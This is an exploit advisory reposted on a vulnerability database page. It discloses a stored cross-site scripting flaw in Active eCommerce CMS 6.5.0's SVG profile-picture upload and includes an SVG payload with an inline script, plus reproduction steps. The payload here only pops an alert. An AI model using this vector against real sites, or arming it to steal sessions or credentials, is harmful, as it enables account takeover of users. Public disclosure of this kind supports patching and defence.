Lucene search
K

Active eCommerce CMS 6.5.0 Cross Site Scripting

🗓️ 23 Jan 2023 00:00:00Reported by Sajibe KantiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 456 Views

Active eCommerce CMS 6.5.0 'svg' Stored Cross-Site Scripting (XSS) vulnerability description, exploit details, and proof of concep

Code
`# Exploit Title: Active eCommerce CMS 6.5.0 - 'svg' Stored Cross-Site  
Scripting (XSS)  
# Date: 19/01/2023  
# Exploit Author: Sajibe Kanti  
# Vendor Name: ActiveITzone  
# Vendor Homepage: https://activeitzone.com/  
# Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405  
# Version: 6.5.0  
# Tested on: Live ( Centos & Litespeed Web Server)  
# Demo Link : https://demo.activeitzone.com/ecommerce/  
  
# Description #  
  
The Active eCommerce CMS 6.5.0 application has a vulnerability in the  
profile picture upload feature that allows for stored cross-site scripting  
(XSS) attacks. Specifically, the vulnerability lies in the handling of  
"svg" image files, which can contain malicious code. An attacker can  
exploit this vulnerability by uploading a specially crafted "svg" image  
file as a profile picture, which will then be executed by the application  
when the user views the profile. This can allow the attacker to steal  
sensitive information, such as login credentials, or to perform other  
malicious actions on the user's behalf. This vulnerability highlights the  
importance of proper input validation and image file handling in web  
application development.  
  
# Exploit Details #  
  
# Vulnerable Path : /aiz-uploader/upload  
# Parameter: files (POST)  
# Vector: <svg version="1.1" baseProfile="full" xmlns="  
http://www.w3.org/2000/svg">  
<rect width="300" height="100"  
style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />  
<script type="text/javascript">  
alert("haha XSS");  
</script>  
</svg>  
  
# Proof of Concept (PoC) : Exploit #  
  
1) Goto: https://localhost  
2) Click Registration  
3) Login Your Account  
4) Go Manage Profile  
5) Now Upload Given Vector as anyname.svg (you must put vector code in  
anyname.svg file)  
6) After Upload Clic to view Your profile picture  
7) XSS Popup Will Fired  
  
# Image PoC : Reference Image #  
  
1) Payload Fired: https://prnt.sc/cW0F_BtpyMcv  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation